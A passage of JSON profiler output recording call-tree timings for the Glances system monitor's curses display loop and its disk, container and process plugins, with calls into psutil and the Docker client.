0.001999293999688234},\"children\": [{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999293999688234, \"l465\": 0.001999293999688234},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020012629975099117, \"l513\": 0.0020012629975099117},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020012629975099117, \"l1130\": 0.0020012629975099117},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"__display_top\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000719\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020013680041301996, \"l766\": 0.0020013680041301996},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020013680041301996, \"l1094\": 0.0020013680041301996},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.002001,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020013680041301996, \"l1046\": 0.0020013680041301996},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001088\",\"time\": 0.002001,\"attributes\": {\"l1088\": 0.0020013680041301996},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"refresh\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001120\",\"time\": 0.002014,\"attributes\": {\"cGlancesCursesStandalone\": 0.0020144619993516244, \"l1122\": 0.0020144619993516244},\"children\": [{\"identifier\": \"window.refresh\\u0000<built-in>\\u00000\",\"time\": 0.002014,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002014,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100346,\"attributes\": {\"cGlancesCursesStandalone\": 0.10034594000171637, \"l291\": 0.10034594000171637},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100346,\"attributes\": {\"cGlancesCursesStandalone\": 0.10034594000171637, \"l260\": 0.10034594000171637},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100346,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100346,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100480,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048020899557741, \"l1202\": 0.10048020899557741},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100480,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100480,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100565,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056525500112912, \"l291\": 0.10056525500112912},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100565,\"attributes\": {\"cGlancesCursesStandalone\": 0.10056525500112912, \"l260\": 0.10056525500112912},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100565,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100565,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100478,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047807599767111, \"l1202\": 0.10047807599767111},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100478,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100478,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100550,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055039800499799, \"l291\": 0.10055039800499799},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100550,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055039800499799, \"l260\": 0.10055039800499799},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100550,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100550,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100427,\"attributes\": {\"cGlancesCursesStandalone\": 0.10042743999656523, \"l1202\": 0.10042743999656523},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100427,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100427,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100644,\"attributes\": {\"cGlancesCursesStandalone\": 0.10064387600141345, \"l291\": 0.10064387600141345},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100644,\"attributes\": {\"cGlancesCursesStandalone\": 0.10064387600141345, \"l260\": 0.10064387600141345},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100644,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100644,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100556,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055616300087422, \"l1202\": 0.10055616300087422},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100556,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100556,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100589,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058898499846691, \"l291\": 0.10058898499846691},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100589,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058898499846691, \"l260\": 0.10058898499846691},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100589,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100589,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100515,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051542799919844, \"l1202\": 0.10051542799919844},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100515,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100515,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100500,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049951700057136, \"l291\": 0.10049951700057136},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100500,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049951700057136, \"l260\": 0.10049951700057136},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100500,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100500,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100314,\"attributes\": {\"cGlancesCursesStandalone\": 0.1003142210029182, \"l1202\": 0.1003142210029182},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100314,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100314,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100475,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047467099502683, \"l291\": 0.10047467099502683},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100475,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047467099502683, \"l260\": 0.10047467099502683},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100475,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100475,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100485,\"attributes\": {\"cGlancesCursesStandalone\": 0.10048498800460948, \"l1202\": 0.10048498800460948},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100485,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100485,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100678,\"attributes\": {\"cGlancesCursesStandalone\": 0.10067814299691236, \"l291\": 0.10067814299691236},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100678,\"attributes\": {\"cGlancesCursesStandalone\": 0.10067814299691236, \"l260\": 0.10067814299691236},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100678,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100678,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100465,\"attributes\": {\"cGlancesCursesStandalone\": 0.10046516800503014, \"l1202\": 0.10046516800503014},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100465,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100465,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100612,\"attributes\": {\"cGlancesCursesStandalone\": 0.10061215499445098, \"l291\": 0.10061215499445098},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100612,\"attributes\": {\"cGlancesCursesStandalone\": 0.10061215499445098, \"l260\": 0.10061215499445098},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100612,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100612,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100494,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049382300348952, \"l1202\": 0.10049382300348952},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100494,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100494,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100457,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045690999686485, \"l291\": 0.10045690999686485},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100457,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045690999686485, \"l260\": 0.10045690999686485},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100457,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100457,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100540,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053987300489098, \"l1202\": 0.10053987300489098},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100540,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100540,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.118828,\"attributes\": {\"cGlancesStats\": 0.11882766399503453, \"l287\": 0.11882766399503453},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.118828,\"attributes\": {\"cGlancesStats\": 0.11882766399503453, \"l575\": 0.11882766399503453},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.118828,\"attributes\": {\"l571\": 0.11882766399503453},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.118828,\"attributes\": {\"cGlancesStats\": 0.11882766399503453, \"l274\": 0.09682059998885961, \"l276\": 0.0019992090019513853, \"l275\": 0.02000785500422353},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.003817,\"attributes\": {\"cDiskioPlugin\": 0.003817256998445373, \"l1278\": 0.003817256998445373},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.003817,\"attributes\": {\"l1295\": 0.003817256998445373},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.003817,\"attributes\": {\"cDiskioPlugin\": 0.003817256998445373, \"l114\": 0.003817256998445373},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.003817,\"attributes\": {\"cDiskioPlugin\": 0.003817256998445373, \"l1351\": 0.003817256998445373},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.003817,\"attributes\": {\"cDiskioPlugin\": 0.003817256998445373, \"l148\": 0.0018619539987412281, \"l158\": 0.001955302999704145},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.001862,\"attributes\": {\"l2129\": 0.0018619539987412281},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001028\",\"time\": 0.001862,\"attributes\": {\"l1106\": 0.0018619539987412281},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001862,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"is_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001054\",\"time\": 0.001955,\"attributes\": {\"cDiskioPlugin\": 0.001955302999704145, \"l1058\": 0.001955302999704145},\"children\": [{\"identifier\": \"is_hide\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001039\",\"time\": 0.001955,\"attributes\": {\"cDiskioPlugin\": 0.001955302999704145, \"l1048\": 0.001955302999704145},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001048\",\"time\": 0.001955,\"attributes\": {\"l1049\": 0.001955302999704145},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001955,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update_stats_history\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000345\",\"time\": 0.001999,\"attributes\": {\"cDiskioPlugin\": 0.0019992090019513853, \"l348\": 0.0019992090019513853},\"children\": [{\"identifier\": \"history_enable\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000328\",\"time\": 0.001999,\"attributes\": {\"cDiskioPlugin\": 0.0019992090019513853, \"l329\": 0.0019992090019513853},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.070073,\"attributes\": {\"cContainersPlugin\": 0.00401033999514766, \"l1278\": 0.07007296699885046, \"cProcesscountPlugin\": 0.0660626270037028},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.070073,\"attributes\": {\"l1295\": 0.07007296699885046},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.004010,\"attributes\": {\"cContainersPlugin\": 0.00401033999514766, \"l252\": 0.00401033999514766},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.004010,\"attributes\": {\"l256\": 0.00401033999514766},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.004010,\"attributes\": {\"l248\": 0.00401033999514766},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.004010,\"attributes\": {\"cDockerExtension\": 0.00401033999514766, \"l260\": 0.00401033999514766},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.004010,\"attributes\": {\"cContainerCollection\": 0.00401033999514766, \"l1009\": 0.00401033999514766},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.004010,\"attributes\": {\"cAPIClient\": 0.00401033999514766, \"l212\": 0.00401033999514766},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.004010,\"attributes\": {\"cAPIClient\": 0.00401033999514766, \"l44\": 0.00401033999514766},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.004010,\"attributes\": {\"cAPIClient\": 0.00401033999514766, \"l246\": 0.00401033999514766},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.004010,\"attributes\": {\"cAPIClient\": 0.00401033999514766, \"l602\": 0.00401033999514766},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.004010,\"attributes\": {\"cAPIClient\": 0.00401033999514766, \"l589\": 0.00401033999514766},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.004010,\"attributes\": {\"cAPIClient\": 0.00401033999514766, \"l703\": 0.00401033999514766},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.004010,\"attributes\": {\"cUnixHTTPAdapter\": 0.00401033999514766, \"l644\": 0.00401033999514766},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.004010,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.00401033999514766, \"l766\": 0.0020050099992658943, \"l787\": 0.002005329995881766},\"children\": [{\"identifier\": \"_get_conn\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000256\",\"time\": 0.002005,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0020050099992658943, \"l274\": 0.0020050099992658943},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.002005,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.002005329995881766, \"l534\": 0.002005329995881766},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.002005,\"attributes\": {\"cUnixHTTPConnection\": 0.002005329995881766, \"l571\": 0.002005329995881766},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.002005,\"attributes\": {\"cUnixHTTPConnection\": 0.002005329995881766, \"l1430\": 0.002005329995881766},\"children\": [{\"identifier\": \"begin\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000324\",\"time\": 0.002005,\"attributes\": {\"cHTTPResponse\": 0.002005329995881766, \"l350\": 0.002005329995881766},\"children\": [{\"identifier\": \"parse_headers\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000245\",\"time\": 0.002005,\"attributes\": {\"l249\": 0.002005329995881766},\"children\": [{\"identifier\": \"_parse_header_lines\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000231\",\"time\": 0.002005,\"attributes\": {\"l242\": 0.002005329995881766},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.066063,\"attributes\": {\"cProcesscountPlugin\": 0.0660626270037028, \"l85\": 0.0660626270037028},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.066063,\"attributes\": {\"cGlancesProcesses\": 0.0660626270037028, \"l617\": 0.05998648999957368, \"l621\": 0.0019986590050393716, \"l653\": 0.002469332997861784, \"l659\": 0.0016081450012279674},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.059986,\"attributes\": {\"cGlancesProcesses\": 0.05998648999957368, \"l478\": 0.05198526700405637, \"l493\": 0.00800122299551731},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.051985,\"attributes\": {\"l1541\": 0.002686020998226013, \"l1558\": 0.04730952801037347, \"l1559\": 0.0019897179954568855},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.002686,\"attributes\": {\"l1485\": 0.002686020998226013},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.002686,\"attributes\": {\"l1526\": 0.002686020998226013},\"children\": [{\"identifier\": \"listdir\\u0000<built-in>\\u00000\",\"time\": 0.002686,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002686,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.043311,\"attributes\": {\"cProcess\": 0.04331050000473624, \"l579\": 0.03731355000491021, \"l572\": 0.005996949999826029},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001305,\"attributes\": {\"cProcess\": 0.001305104000493884, \"l382\": 0.001305104000493884},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001118\",\"time\": 0.001305,\"attributes\": {\"cProcess\": 0.001305104000493884, \"l1127\": 0.001305104000493884},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001305,\"attributes\": {\"cProcess\": 0.001305104000493884, \"l1593\": 0.001305104000493884},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.001305,\"attributes\": {\"cProcess\": 0.001305104000493884, \"l1835\": 0.001305104000493884},\"children\": [{\"identifier\": \"<lambda>\\u0000<string>\\u00001\",\"time\": 0.001305,\"attributes\": {\"l1\": 0.001305104000493884},\"children\": [{\"identifier\": \"tuple.__new__\\u0000<built-in>\\u00000\",\"time\": 0.001305,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001305,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001995106002141256, \"l939\": 0.001995106002141256},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001995106002141256, \"l1593\": 0.001995106002141256},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001995106002141256, \"l2052\": 0.001995106002141256},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001995106002141256, \"l1593\": 0.001995106002141256},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001995106002141256, \"l382\": 0.001995106002141256},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001995106002141256, \"l1718\": 0.001995106002141256},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002005,\"attributes\": {\"cProcess\": 0.0020048919977853075, \"l1064\": 0.0020048919977853075},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001995483005885035, \"l382\": 0.001995483005885035},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001995,\"attributes\": {\"cProcess\": 0.001995483005885035, \"l1138\": 0.001995483005885035},\"children\": [{\"identifier\": 